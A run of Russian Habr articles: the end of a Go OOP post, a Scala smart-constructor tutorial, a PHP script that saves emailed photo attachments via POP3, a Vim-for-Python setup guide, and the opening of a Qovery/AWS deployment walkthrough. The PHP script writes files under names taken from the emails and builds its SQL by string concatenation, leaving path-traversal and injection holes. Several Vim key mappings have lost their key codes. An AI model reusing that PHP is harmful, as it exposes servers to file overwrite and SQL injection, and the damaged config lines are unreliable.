return math.Abs(float64((r.Right - r.Left) * (r.Top - r.Bottom)))
}
```
circle.go:
```
package main
import (
"fmt"
"math"
)
// Circle defines graphical primitive for drawing circles.
type Circle struct {
X, Y, Radius int64
}
// NewCircle inits new Circle.
func NewCircle(x, y, radius int64) *Circle {
return &Circle{
X: x,
Y: y,
Radius: radius,
}
}
// Say returns circle details in special format. Implements Figure.
func (c Circle) Say() string {
return fmt.Sprintf("circle, radius=%d and centre=(%d,%d)", c.Radius, c.X, c.Y)
}
// Square returns square of the circle. Implements Figure.
func (c Circle) Square() float64 {
return math.Pi * math.Pow(float64(c.Radius), 2)
}
```
roundrectangle.go:
```
package main
import "fmt"
// RoundRectangle defines graphical primitive for drawing rounded rectangles.
type RoundRectangle struct {
Rectangle
RoundRadius int64
}
// NewRoundRectangle inits new Round Rectangle and underlying Rectangle.
func NewRoundRectangle(left, top, right, bottom, round int64) *RoundRectangle {
return &RoundRectangle{
*NewRectangle(left, top, right, bottom),
round,
}
}
// Say returns round rectangle details in special format. Implements Figure.
func (r RoundRectangle) Say() string {
return fmt.Sprintf("round rectangle, %s and roundRadius=%d", r.Rectangle.Say(), r.RoundRadius)
}
```
#### Выводы
Надеюсь, статья помогла проследить за ходом мысли, обратить внимание на некоторые аспекты Go. Go именно такой — прямолинейный и не способствующий трате времени на размышления, какими бы фичами решить ту или иную задачу. Его простота и минимализм заключается в том, чтобы предоставлять как раз только то, что необходимо для решения практических задач. Никаких ЭкзистенциальныхКвантизаций, только тщательно отобранный набор строительных блоков в духе философии Unix.
Кроме того, надеюсь, новичкам стало более понятно, как можно реализовывать ООП без классов и наследования. На эту тему есть на Хабре [пара](http://habrahabr.ru/post/243593/) [статей](http://habrahabr.ru/post/225907/), в которых более подробно рассматривается ООП в Go, и даже небольшой исторический экскурс в то, что такое ООП на самом деле.
И, конечно, было бы интересно увидеть ответы-продолжения на оригинальную статью на других новых и не очень языках. Мне, например, было жутко интересно «подсмотреть» за ходом мысли в оригинальной статье, и, я более чем уверен, что это из лучших способов учиться и осваивать новые вещи. Отдельное спасибо автору оригинального материала (@KolodeznyDiver). | https://habr.com/ru/post/270849/ | null | ru | null |
# Умные конструкторы для кейс-классов
В число огромных преимуществ использования Scala входит безопасность типов. Если мы четко и внимательно относимся к используемым нами типам, компилятор способен направить нас в правильном направлении и указать, где мы можем ошибиться.
Существуют способы, с помощью которых мы можем положиться на систему типов и язык в целом, для большей уверенности в создаваемом коде.
### Опираясь на систему типов
Используя наши знания о Scala и типах, мы можем ограничить идентификатор базы данных определенным типом:
```
case class DatabaseId(value: String)
```
Теперь, когда у нас есть явный признак для функции, требующей идентификатор базы данных, он будет четко обозначен, чтобы отличаться от произвольной строки. В такую функцию трудно по ошибке передать строку, предназначенную для чего-то другого.
```
def retrieveRecord(id: DatabaseId): IO[User] = {
// ...
}
```
Мы также можем попросить Scala помочь с другими вещами для этого DatabaseId, например, автоматически генерировать сериализаторы и десериализаторы JSON, и даже автоматически генерировать тестовые данные специально для Database ID.
Этого достаточно? Можем ли мы пойти дальше?
### Байты на каждом шагу
Что бы ни делало наше приложение, существует некая граница между нашим кодом и внешним миром, будь то программа, зависящая от аргументов командной строки, или HTTP-сервис, принимающий POST-данные. Это не особенность Scala; у каждого приложения есть общая черта: взаимодействие с внешним миром заключается в приеме и отправке байтов.
Внутри нашего приложения мы хотим преобразовать эти байты во что-то валидное. Языки высокого уровня уже частично делают это, предоставляя примитивные типы, например, целые числа, числа с плавающей точкой и строки. Естественно, мы хотим иметь больше знаний о том, что представляют собой эти значения. Отличным первым шагом в Scala является обертывание данных байтов в кейс-классы. Но как мы узнаем, что данные внутри этих кейс-классов корректны?
### Проверка достоверности данных
Когда мы создаем кейс-класс, то хотим убедиться, что параметры конструктора валидны. Предположим, мы моделируем количество товаров на складе; понятно, что оно может быть представлено в виде Int или Long — но мы, вероятно, никогда не захотим, чтобы значения были отрицательными, или, возможно, исчислялись миллионами или миллиардами.
Наивным подходом здесь может быть выброс исключения для недопустимых данных при создании объекта:
```
case class ProductCount(count: Int) {
require(count >= 0 && count < 1_000_000, s"$count must not be negative and less than a million")
}
```
Но мы не хотим выбрасывать исключения во время рантайма! Вместо этого у нас мог быть флаг, сигнализирующий о правильности подсчета:
```
case class ProductCount(count: Int) {
val isValid: Boolean = count >= 0 && count < 1_000_000
}
```
Но теперь на пользователя этого класса возлагается ответственность за то, чтобы он обязательно обращался к `isValid` всякий раз, когда возникнет необходимость. Если тот забудет или сделает ошибку в логике, то компилятор не поможет.
### Валидация на этапе конструирования
Забавно, но мы были ближе к приемлемому решению с подходом `require` для проверки рантайма, чем с нашим булевым флагом: при создании экземпляра взамен мы даем пользователю *другой* объект, который может отобразить недопустимую конструкцию.
С кейс-классами компилятор свободно пишет для нас множество дополнительных шаблонов, предоставляя возможность без лишних помех обдумывать код. Компилятор добавляет интуитивно понятный метод `equals`, `toString`, что имеет смысл, а также `apply` для простоты построения и `unapply`, для сопоставления с образцом.
На возвращаемый тип метода `apply` не накладывается никаких ограничений. Если мы сами предоставим функцию `apply`, то компилятор не станет ее создавать. Мы можем просто предоставить собственную функцию в объекте-компаньоне, возвращающую другой тип, и осуществить создание объекта там. Возвращаясь к нашему классу `DatabaseId`, предположим, что идентификатор базы данных должен содержать ровно 12 символов:
```
case class DatabaseId(value: String)
object DatabaseId {
def apply(value: String): Option[DatabaseId] = {
if(value.length == 12) Some(new DatabaseId(value))
else None
}
}
```
Обратите внимание, что здесь мы хотим вызвать `new DatabaseId` - опуская `new`, вместо этого перейдем к функции `apply`, а это именно та функция, которую мы пишем!
Как бы полезно это ни было, все равно можно обойти такую проверку; ничто не мешает нам самим сконструировать кейс-класс с `new`.
```
// both these lines compile
val validated: Option[DatabaseId] = DatabaseId("0123456789ab")
val invalid: DatabaseId = new DatabaseId("not twelve chars")
```
Как бы мы ни доверяли нашим коллегам, что они делают все правильно и всегда выполняют эти конструкции должным образом, было бы лучше, если можно защититься от случайного вызова `new`. Вы на все 100% уверены, что заметите это в ходе код-ревью в 100% случаев? Можно сделать конструктор приватным. Давайте сделаем этот класс `final`, чтобы никто не смог его расширить и обойти таким образом нашу валидацию:
```
final case class DatabaseId private (value: String)
```
Теперь мы руководствуемся тем, что применяем заданную функцию `apply`, и значение, полученное с помощью подхода new, описанного выше, уже не будет компилироваться.
### Устранение дополнительных препятствий
Мы все еще можем создавать недопустимые объекты используя метод `copy`, предоставляемый компилятором:
```
val validated: Option[DatabaseId] = DatabaseId("0123456789ab")
val invalid = validated.map(_.copy(value = "not valid"))
```
Таким образом, подобно тому, как мы это сделали с `apply`, нужно повторить то же самое и предоставить собственный метод `copy`. На этот раз для класса, а не для объекта, поскольку мы вызываем копирование для экземпляров. И мы сделаем его `private`, так как хотим указать, что нет необходимости когда-либо вызывать этот метод:
```
final case class DatabaseId private (value: String) {
private def copy: Unit = ()
}
```
Теперь у нас не будет возможности создать `DatabaseId` без прохождения проверки. Другой подход, который мы могли бы рассмотреть, — сделать метод `apply` также приватным, а затем предоставить более дескриптивный API для того чтобы обозначить происходящее. Полностью код теперь выглядит следующим образом:
```
final case class DatabaseId private (value: String) {
private def copy: Unit = ()
}
object DatabaseId {
private def apply(value: String): Option[DatabaseId] = {
if(value.length == 12) Some(new DatabaseId(value))
else None
}
def fromString(value: String): Option[DatabaseId] = apply(value)
}
```
И вы получите значения:
```
val validated: Option[DatabaseId] = DatabaseId.fromString("0123456789ab")
```
У нас остаются все преимущества работы с кейс-классом, но при этом добавляется уверенность в том, что все то, что содержит наш кейс-класс, полезно и правильно.
### Конструирование литералов
Теперь, когда мы не можем сконструировать чистый `DatabaseId`, может показаться, что тестирование с литералами будет головной болью. Но на самом деле это легко сделать без ущерба для безопасности типа. Мы просто не пройдем тест, если сконструируем недопустимое литеральное значение. Учитывая, что мы создаем все вручную, это становится понятным очень быстро при написания теста:
```
val testValue: DatabaseId = DatabaseId.fromString("0123456789ab").getOrElse(fail("Unable to construct database ID"))
// ... the rest of the test here, using testValue as a DatabaseId
```
Даже со Scalacheck мы можем быть уверены в создаваемых нами значениях:
```
val databaseIdGen: Gen[DatabaseId] = for {
cs <- Gen.listOfN(12, Gen.hexChar)
id <- DatabaseId.fromString(cs.mkString).fold(Gen.fail[DatabaseId])(Gen.const)
} yield id
```
Просто завершите работу генератора при недопустимом состоянии, и он повторит попытку. Теперь, когда мы используем это в наших тестах, то получаем `DatabaseIds` без отвлекающей `Option` рядом.
### Еще несколько шагов
Вместо `Option` используйте `Either` и укажите, *почему* валидация прошла неправильно. Тип `Either` имеет полезную функцию, объединяющую проверку булевых значений с указанием того, что делать в случаях true и false. Благодаря этому для пользователей кода предоставляется удобный API с информацией о том, как конструировать объекты и что может пойти не так, оставаясь при этом безопасным для типов:
```
sealed trait IdError
case object BadLength extends IdError
case object InvalidCharacter extends IdError
// ... more validation error cases here...
final case class DatabaseId private (value: String) {
private def copy: Unit = ()
}
object DatabaseId {
private def apply(value: String): Either[IdError, DatabaseId] =
Either.cond(
value.length == 12,
new DatabaseId(value),
BadLength
)
def fromString(value: String): Either[IdError, DatabaseId] = apply(value)
}
```
Это может быть использовано вместе с [валидированной](https://typelevel.org/cats/datatypes/validated.html) функциональностью из Cats для объединения нескольких проверок валидности в рамках рабочего формата.
### Заключительные слова
Когда Scala только появился, кейс-классы преподносились как приятное отступление от перегруженных бойлерплейтами методик Java "POJO", позволяя разработчику определить объект домена в одной строке и при этом получить все те же преимущества, что и их аналоги в Java. Здесь нам приходится заново вводить некоторые шаблоны, чтобы получить немного больше уверенности в том, что *значения*, которые мы создаем для этого *типа*, верны. Считаю, что это приемлемая цена: у вас есть вся логика проверки в одном месте, а не разбросанная по кодовой базе без уверенности в том, что пользователи вашего типа используют ее правильно. Создать невалидные типы просто невозможно — вы находитесь в завидном положении, поскольку не способны представлять недопустимые состояния.
---
Всех желающих приглашаем на открытое занятие **«Функциональные конструкции языка Scala»**. На уроке рассмотрим неизменяемые структуры данных, а также рекурсивные методы для итерирования с состоянием. Узнаем, как использовать функции и функции высших порядков. Результатом занятия станут несколько простых алгоритмов с использованием рекурсивных методов и функций. [**Регистрация на урок.**](https://otus.pw/kBli/) | https://habr.com/ru/post/697248/ | null | ru | null |
# Загрузка фотографий на сайт c помощью электронной почты
Это мой первый пост на Хабре, по этому не судите строго.
#### Задача.
Реализовать возможность загрузки фотографий в профайл или в фотоленту события посредством электронной почты, поместить их в заданную папку и сделать соответственную запись в БД.
#### Алгоритм
Пользователь отправляет письмо с фотографиями на адрес типа **userXXX\_eventYYY@mysite.com**, где eventYYY — ID события; userXXX — ID пользователя. Такого e-mail адреса НЕ СУЩЕСТВУЕТ. По этому все письма отправленные на несуществующие адреса перенаправляем на image\_upload@mysite.com. Потом, при считывании почты с этого адреса, парсим заголовки и узнаем на какой адрес изначально было отправлено письмо. Распарсив полученный адрес, узнаем КУДА складывать файлы и кто их залил.
#### Использование PEAR
Для работы с POP3 сервером использовалась библиотека **PEAR**, в частности класс **Net\_POP3**, который находится в файле *path/to/pear/Net/POP3.php*. Для его успешной работы необходим класс **Net\_Socket** (*path/to/pear/Net/Socket.php*) и, собственно, PEAR.php. Все эти файлы находятся на сайте <http://pear.php.net> и доступны для скачивания.
Если PEAR у вас не установлена — просто скопируйте POP3.php и Socket.php в вашу папку с библиотеками и перепропишите пути в них. Файл PEAR.php есть в папке path/to/pear/.
#### Дополнительные функции
Для обработки прикрепленных файлов мне понадобились еще несколько функций. Не буду приписывать себе их авторство. Они взяты с сайта <http://webi.ru/webi_articles/6_12_f.html> и немного переделаны (совсем немного).
В моем коде они выглядят так:
> `/\* START FUNCTIONS BLOCK \*/
>
> // Функция для выдергивания метки boundary из заголовка Content-Type
>
> function get\_boundary($ctype){
>
> if(preg\_match('/boundary[ ]?=[ ]?(["]?.\*)/i',$ctype,$regs)) {
>
> $boundary = preg\_replace('/^\"(.\*)\"$/', "\\1", $regs[1]);
>
> return trim("--$boundary");
>
> }
>
> }
>
>
>
> // если письмо будет состоять из нескольких частей (текст, файлы и т.д.)
>
> // то эта функция разобьет такое письмо на части (в массив), согласно разделителю boundary
>
> function split\_parts($boundary,$body) {
>
> $startpos = strpos($body,$boundary)+strlen($boundary)+2;
>
> $lenbody = strpos($body,"\r\n$boundary--") - $startpos;
>
> $body = substr($body,$startpos,$lenbody);
>
> return explode($boundary."\r\n",$body);
>
> }
>
>
>
> // Эта функция отделяет заголовки от тела и возвращает массив с заголовками и телом
>
> function fetch\_structure($email) {
>
> $ARemail = Array();
>
> $separador = "\r\n\r\n";
>
> $header = trim(substr($email,0,strpos($email,$separador)));
>
> $bodypos = strlen($header)+strlen($separador);
>
> $body = substr($email,$bodypos,strlen($email)-$bodypos);
>
> $ARemail["header"] = $header;
>
> $ARemail["body"] = $body;
>
> return $ARemail;
>
> }
>
>
>
> // разбирает все заголовки и выводит массив, в котором каждый элемент является соответсвующим заголовком
>
> function decode\_header($header) {
>
> $headers = explode("\r\n",$header);
>
> $decodedheaders = Array();
>
> foreach($headers as $header\_item){
>
> $thisheader = trim($header\_item);
>
> if(!empty($thisheader))
>
> {
>
> if(!ereg("^[A-Z0-9a-z\_-]+:",$thisheader))
>
> $decodedheaders[$lasthead] .= " $thisheader";
>
> else {
>
> $dbpoint = strpos($thisheader,":");
>
> $headname = strtolower(substr($thisheader,0,$dbpoint));
>
> $headvalue = trim(substr($thisheader,$dbpoint+1));
>
> if($decodedheaders[$headname] != "")
>
> $decodedheaders[$headname] .= "; $headvalue";
>
> else
>
> $decodedheaders[$headname] = $headvalue;
>
> $lasthead = $headname;
>
> }
>
> }
>
> }
>
> return $decodedheaders;
>
> }
>
>
>
> // перекодировщик тела письма.
>
> // Само письмо может быть закодировано и данная функция приводит тело письма в нормальный вид.
>
> // Так же и вложенные файлы будут перекодироваться этой функцией.
>
> function compile\_body($body,$enctype,$ctype) {
>
> $enctype = explode(" ",$enctype); $enctype = $enctype[0];
>
> if(strtolower($enctype) == "base64")
>
> $body = base64\_decode($body);
>
> elseif(strtolower($enctype) == "quoted-printable")
>
> $body = quoted\_printable\_decode($body);
>
> if(ereg("koi8", $ctype)) $body = convert\_cyr\_string($body, "k", "w");
>
> return $body;
>
> }
>
> /\* END FUNCTIONS BLOCK \*/
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Основной код (email\_upload.php)
Теперь, когда все готово, пришло время писать скрипт для получения писем и их обработки.
Для начала, создадим объект $pop3 и подсоединимся к серверу.
> `$user='username';
>
> $pass='secure';
>
> $host='mysite.com';
>
> $port="110";
>
>
>
> // Создание объекта
>
> $pop3 =& new Net\_POP3();
>
>
>
> // Соединение с сервером
>
> if(PEAR::isError( $ret= $pop3->connect($host , $port ) )){
>
> echo "ERROR: " . $ret->getMessage() . "\n";
>
> exit();
>
> }
>
>
>
> // Авторизация на сервере
>
> if(PEAR::isError( $ret= $pop3->login($user , $pass,'USER' ) )){
>
> echo "ERROR: " . $ret->getMessage() . "\n";
>
> exit();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь все готово для получения списка писем и их обработки. Это и делаем
> `$message\_list=$pop3->getListing(); // Получаем массив писем.
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Пройдемся по всем письмам в цикле:
> `foreach($message\_list as $message){
>
> $filenames[] = array();
>
> /\* START GET PARSED HEADERS \*/
>
> // Получаем ИД текущено сообщения
>
> $message\_id = $message['msg\_id'];
>
> // Парсим заголовки
>
> $headers = $pop3->getParsedHeaders($message\_id);
>
>
>
> $type = $ctype = $headers['Content-Type'];
>
> $ctype = split(";",$ctype);
>
> $types = split("/",$ctype[0]);
>
> $maintype = trim(strtolower($types[0]));
>
> $subtype = trim(strtolower($types[1]));
>
>
>
> /\* END GET PARSED HEADERS \*/
>
> /\* START CREATE FILE LOCATION AND SQL DATA\*/
>
>
>
> // Получили данные с заголовка
>
> $from\_user\_info = $headers['Delivered-To'];
>
>
>
> // Далее получаем нужные АйДишники
>
> preg\_match('/(user[0-9]+)\_(event[0-9]+)@mysite.com/', $from\_user\_info, $matches);
>
> $user\_id = str\_replace("user","", $matches[1]);
>
> $event\_id = str\_replace("event","", $matches[2]);
>
>
>
> // Путь куда поместим файл
>
> $file\_location = "/path/to/upload";
>
>
>
> // Помещаем данные для SQL запроса
>
> $table\_data = array(
>
> 'user\_id' => $user\_id,
>
> 'event\_id' => $event\_id
>
> );
>
>
>
> /\* END CREATE FILE LOCATION AND SQL DATA\*/
>
>
>
> /\* START GET BODY \*/
>
> // Получаем тело сообщения
>
> $message\_text = htmlspecialchars($pop3->getBody($message\_id));
>
>
>
> // Проверяем его тип (на содержание прикрепленных файлов)
>
> if($maintype=="multipart" && ereg($subtype,"signed,mixed,related")) // Если есть
>
> {
>
> // получаем метку-разделитель частей письма
>
> $boundary=get\_boundary($headers['Content-Type']);
>
>
>
> // на основе этого разделителя разбиваем письмо на части
>
> $part = split\_parts($boundary,$message\_text);
>
>
>
> //Ищем файлы
>
> foreach($part as $part\_item){
>
> // разбиваем текущую часть на тело и заголовки
>
> $email = fetch\_structure($part\_item);
>
> $header = $email["header"];
>
> $body = $email["body"];
>
>
>
> // разбираем заголовки на массив
>
> $headers = decode\_header($header);
>
> $ctype = $headers["Content-Type"];
>
> $cid = $headers["content-id"];
>
> $Actype = split(";",$ctype);
>
> $types = split("/",$Actype[0]);
>
> $rctype = strtolower($Actype[0]);
>
>
>
> // теперь проверяем, является ли эта часть прикрепленным файлом
>
> $is\_download = (ereg("name=",$headers["content-disposition"].$headers["content-type"]) || $headers["X-Attachment-Id"] != "" || $rctype == "message/rfc822");
>
>
>
> if($is\_download) {
>
> // Имя файла можно выдернуть из заголовков Content-Type или Content-Disposition
>
> $cdisp = $headers["content-disposition"];
>
> $ctype = $headers["content-type"];
>
> $ctype2 = explode(";",$ctype);
>
> $ctype2 = $ctype2[0];
>
> $Atype = split("/",$ctype);
>
> $Acdisp = split(";",$cdisp);
>
> $fname = $Acdisp[1];
>
> if(ereg("filename=\"(.\*)\"",$fname,$regs))
>
> $filename = $regs[1];
>
> if($filename == "" && ereg("name=(.\*)",$ctype,$regs))
>
> $filename = $regs[1];
>
> $filename = ereg\_replace("\"(.\*)\"","\\1",$filename);
>
> $filename = ereg\_replace(""(.\*)"","\\1",$filename);
>
>
>
> //читаем файл в переменную.
>
> $body = compile\_body($body,$headers["content-transfer-encoding"],$ctype);
>
>
>
> // Указываем КУДА записать файл
>
> $filename = $file\_location.trim($filename);
>
>
>
> // Формируем список файлов для записи в базу
>
> $filenames[] = $filename;
>
> // Собственно сохраняем
>
> $ft=fopen($filename,"wb");
>
> fwrite($ft,$body);
>
> fclose($ft);
>
> }
>
> }
>
> }
>
>
>
> // НА основе $filenames[] и $table\_data создаем запросы и выполняем их.
>
> $query = "INSERT INTO event\_foto(event\_id, user\_id, image\_name) VALUES ";
>
> $total\_fotos = count($filenames);
>
> $current = 1;
>
> foreach($filenames as $file){
>
> $query .= "('$event\_id','$user\_id','$file')";
>
> if($total\_fotos>$current)
>
> $query .= ", ";
>
> $current++;
>
> }
>
> mysql\_query($query);
>
> //И не забываем удалить текущее письмо
>
> $pop3->deleteMsg($message\_id);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Конец
Собственно все. Модуль работает. Осталось только повесить этот файлик на CRON (например, каждый час).
Спасибо на внимание. Желаю удачи! | https://habr.com/ru/post/77304/ | null | ru | null |
# Настраиваем Vim под Python
Сегодня я хочу рассказать вам, как я настраивал любимый всеми редактор Vim (который в одном режиме пищит, а в другом — все портит) для написания кода на Python. Статья расчитана на начинающих виммеров.
У меня получилась такая картинка:
#### .vimrc
Для начала, нужно установить некоторые параметры в **~/.vimrc**. Привожу весь файл целиком, может кому-то будет полезно.
``"Вырубаем режим совместимости с VI:
set nocompatible
"Включаем распознавание типов файлов и типо-специфичные плагины:
filetype on
filetype plugin on
"Настройки табов для Python, согласно рекоммендациям
set tabstop=4
set shiftwidth=4
set smarttab
set expandtab "Ставим табы пробелами
set softtabstop=4 "4 пробела в табе
"Автоотступ
set autoindent
"Подсвечиваем все что можно подсвечивать
let python_highlight_all = 1
"Включаем 256 цветов в терминале, мы ведь работаем из иксов?
"Нужно во многих терминалах, например в gnome-terminal
set t_Co=256
"Настройка omnicomletion для Python (а так же для js, html и css)
autocmd FileType python set omnifunc=pythoncomplete#Complete
autocmd FileType javascript set omnifunc=javascriptcomplete#CompleteJS
autocmd FileType html set omnifunc=htmlcomplete#CompleteTags
autocmd FileType css set omnifunc=csscomplete#CompleteCSS
"Авто комплит по табу
function InsertTabWrapper()
let col = col('.') - 1
if !col || getline('.')[col - 1] !~ '\k'
return "\"
else
return "\"
endif
endfunction
imap =InsertTabWrapper()"Показываем все полезные опции автокомплита сразу
set complete=""
set complete+=.
set complete+=k
set complete+=b
set complete+=t
"Перед сохранением вырезаем пробелы на концах (только в .py файлах)
autocmd BufWritePre \*.py normal m`:%s/\s\+$//e ``
"В .py файлах включаем умные отступы после ключевых слов
autocmd BufRead \*.py set smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class
""""Дальше мои личные настройки,
""""в принципе довольно обычные, может кому надо
"Вызываем SnippletsEmu(см. дальше в топике) по ctrl-j
"вместо tab по умолчанию (на табе автокомплит)
let g:snippetsEmu\_key = ""
" Копи/паст по Ctrl+C/Ctrl+V
vmap "+yi
imap "+gPi
colorscheme wombat256 "Цветовая схема
syntax on "Включить подсветку синтаксиса
set nu "Включаем нумерацию строк
set mousehide "Спрятать курсор мыши когда набираем текст
set mouse=a "Включить поддержку мыши
set termencoding=utf-8 "Кодировка терминала
set novisualbell "Не мигать
set t\_vb= "Не пищать! (Опции 'не портить текст', к сожалению, нету)
"Удобное поведение backspace
set backspace=indent,eol,start whichwrap+=<,>,[,]
"Вырубаем черточки на табах
set showtabline=0
"Колоночка, чтобы показывать плюсики для скрытия блоков кода:
set foldcolumn=1
"Переносим на другую строчку, разрываем строки
set wrap
set linebreak
"Вырубаем .swp и ~ (резервные) файлы
set nobackup
set noswapfile
set encoding=utf-8 " Кодировка файлов по умолчанию
set fileencodings=utf8,cp1251 " Возможные кодировки файлов, если файл не в unicode кодировке,
" то будет использоваться cp1251
#### Плагины
Чтобы ощутить Power of Vim, необходимо воспользоваться плодами трудов предшественников-первопроходцев.
Для начала, если вы не сделали раньше, нужно поставить плагин Vimball - велосипедный архиватор для вимовских плагинов. Без этого велосипеда нам не поставить многих полезных плагинов. Качаем и распаковываем в **~/.vim/**
Далее. Нам нужна клевая подсветка синтаксиса вместо дефолтной - для Python (и для Django - если хотите). Качаем и сливаем в **~/.vim/syntax/** (здесь и далее - если папки в вашей домашней директории нету, создавайте ее)
Автодополнение тоже лучше не дефолтное - качаем pythoncomplete.vim и заливаем в **~/.vim/autoload/**. В .vimrc мы уже настроили комплит на Tab.
Если мы что то написали, мы должны это запустить?.. Качаем runscript.vim и кидаем его в**~/.vim/plugin/**. Он с кривыми концами строк, мы должны его поправить:
sudo apt-get install tofrodos #в бубунте
dos2unix ~/.vim/plugin/runscript.vim`
Теперь открываем его в Vim и правим настройки:
``"Путь к питону, исправляем виндовый
let s:PathToExecutable = '/usr/bin/python'
" Map keys to function calls
"Выполнить скрипт, который назначен "Главным"
if !hasmapto('RunScript')
nmap ExecuteScript
endif
"Назначить скрипт в буфере Главным
if !hasmapto('SetMainScript')
nmap SetMainScript
endif
"Сбросить назначение Главного скрипта
if !hasmapto('ClearMainScript')
nmap ClearMainScript
endif
"Показать/скрыть окно вывода
if !hasmapto('ToggleOutputWindow')
nmap ToggleOutputWindow
endif
Можно конечно настройки скрипта и в .vimrc прописать, но скрипт все равно кривой и его ковырять пришлось.
Теперь самое вкусное - SnippletsEmu - снипплеты. Это маленькие заготовки языковых конструкций. Вводишь for, нажимаешь кнопку (у меня в .vimrc *ctrl-j*), получается:
Нажимаешь еще раз кнопку, курсор перескакивает к следующему полю... Так очень удобно добавлять функции, классы, циклы, что угодно.
Ставится это добро (оно, кстати, очень похоже на функционал Textmate) из двух vba архивов: с плагином и с готовыми снипплетами. Открываем архив в vim, набираем:
:source %`
И все, поставилось. Повторить со вторым архивом
Можно и свои снипплеты создавать, коммандой типа:
`:Snippet клевоимячко Меня зовут <{фамилия}> <{имя}>. Зови меня <{имядлядрузей}>.`
И исспользовать, набрав **клевоимячко** и нажав назначенную комбинацию.
Но функционал SnippletEmu велик, и это тема для следующей статьи
Так, вроде все есть, только не хватает - темы! Лично я рекоммендую [desert256](http://www.vim.org/scripts/script.php?script_id=1243), но если не нравится - могу посоветовать поставить плагин [ScrollColor.vim](http://www.vim.org/scripts/script.php?script_id=1488) и [сборник лучших тем](http://www.vim.org/scripts/script.php?script_id=625).
Затем вызываем плагин коммандой
`:COLOR`
И выбираем тему.`` | https://habr.com/ru/post/74128/ | null | ru | null |
# Qovery — простой способ развёртывания на AWS
Мечтаете без проблем развёртывать приложения в облаке, входить под своими учётными данными AWS и чтобы вся настройка облака выполнялась автоматически, а вам «из коробки» были доступны функции, которых нигде больше нет?
Qovery не только позволяет развёртывать инфраструктуру и приложения в приложении, войдя с учётной записью AWS, но и предоставляет интересные функции, материалом об одной из которых мы делимся к старту курса по [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_201221&utm_term=lead).
---
Среды предварительного просмотра
--------------------------------
Представьте: вы занимаетесь комплексной разработкой приложения — фронтендом, бэкендом, базой данных — и вносите изменения в серверную часть. Как тестировать всё это? Здорово было бы на специальном сервисе развёртывать всё, а затем быстро и изолированно тестировать изменения со всеми компонентами. Среды предварительного просмотра Qovery — [именно такой сервис](https://github.com/Qovery/engine).
С его помощью в облаке развёртывается не только приложение с изменениями, но и все остальные связанные приложения и базы данных. Так вы можете тестировать новые функции и совместно работать с теми, кто просматривает ваш код.
Функция сред предварительного просмотра доступна и на других платформах. Vercel и Netlify позволяют тестировать изменения до слияния веток кода и отправки в производственную среду. Это идеально подходит для отдельных клиентских приложений, но концепция сред предварительного просмотра Qovery намного шире.
С помощью Qovery можно создавать среду предварительного просмотра не только для фронтенда, но также для бэкенда и баз данных — поддерживается комплексная разработка. А что с запуском набора микросервисов на серверной стороне? Это не проблема. В новой среде будут воспроизведены все сервисы.
Преимущества сред предварительного просмотра
--------------------------------------------
* **Экономия времени.** Не надо настраивать новую среду, чтобы тестировать изменения изолированно. Qovery настроит среду.
* **Производительность.** Ускоренные изменения и просмотр, улучшенный цикл обратной связи приводят к резкому росту производительности и качества приложения.
* **Тесты.** Лучше тестировать приложения изолированно, но при комплексной разработке это практически невозможно, если нужно подготовить тестовую среду вручную. В Qovery тестовая среда подготавливается автоматически.
* **Независимость.** Каждая среда полностью изолирована, а значит, больше людей могут спокойно работать над проектом, тестируя изменения параллельно и не блокируя друг друга.
* **Быстрая разработка и релиз.** Ускоренный цикл обратной связи, независимые разработчики, уменьшение количества багов означает, что продукт разрабатывается и выпускается быстрее.
* **Меньше раздражения.** Ждать, пока другие тестируют изменения… это раздражает. Но благодаря средам предварительного просмотра у каждого есть своя тестовая среда.
Демо
----
### Инфраструктура AWS
Прежде чем приступать к развёртыванию, нужно подготовить и развернуть саму инфраструктуру AWS. Это так же просто, как ввести в облачном аккаунте учётные данные. Чтобы узнать, как настроить AWS, смотрите [эту](https://hub.qovery.com/docs/using-qovery/configuration/cloud-service-provider/amazon-web-services/) статью.
После 15 минут начальной настройки кластер готов к размещению приложений.
### Комплексная разработка приложения
В этом примере используем фронтенд Next.js, бэкенд Node.js и базу данных MongoDB. В приложении показывается коллекция изображений, получаемых с бэкенда. С помощью среды предварительного просмотра внесём изменение в бэкенд, переходя от жёстко заданного списка изображений к списку из базы данных.
### Фронтенд
Простая коллекция изображений выглядит так:
Чтобы сгенерировать приложение, я использовал команду `npx create-next-app@latest`, а его исходный код находится [здесь](https://github.com/pjeziorowski/gallery-demo/tree/master/frontend).И вот основные изменения в сгенерированном скаффолдингом коде:
Добавление `Dockerfile`:
```
FROM node:alpine
RUN mkdir -p /usr/src
WORKDIR /usr/src
COPY . /usr/src
RUN npm install
RUN npm run build
EXPOSE 3000
CMD npm run start
```
Добавление на бэкенд запроса для получения списка изображений. Сам бэкенд создадим позже.
```
function useImages() {
return useQuery("images", async () => {
const { data } = await axios.get(
`${apiRoot}/api/v1/images`
);
return data;
});
}
```
Изменение HTML и стилевого оформления для целей показа демо списка изображений.
### Бэкенд
Бэкенд — главная звезда демо. В первой версии показан жёстко заданный список изображений. Расширим его возможности, то есть подключимся к базе данных для получения списка из MongoDB. Чтобы убедиться в корректности изменений, используем функцию `Preview Environment`(среда предварительного просмотра).
Бэкенд сгенерирован с помощью Express `npx express-generator --no-view`, исходный код находится [здесь](https://github.com/pjeziorowski/gallery-demo/tree/master/backend). Изменения в сгенерированном скаффолдингом коде:
Добавление Dockerfile:
```
FROM node:16
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 8080
CMD [ "node", "src/index.js" ]
```
Создание конечной точки `/api/v1/images`, которая возвращает заданный массив изображений:
```
router.get('/images', (req, res) => {
res.json([
{
title: 'IMG_4985.HEIC',
size: '3.9 MB',
source:
'https://images.unsplash.com/photo-1582053433976-25c00369fc93?ixid=MXwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHw%3D&ixlib=rb-1.2.1&auto=format&fit=crop&w=512&q=80',
}
});
});
```
На следующем этапе изменим функцию так, чтобы использовать Mongo.
### Развёртывание
Создав новый проект, настроим производственную среду.
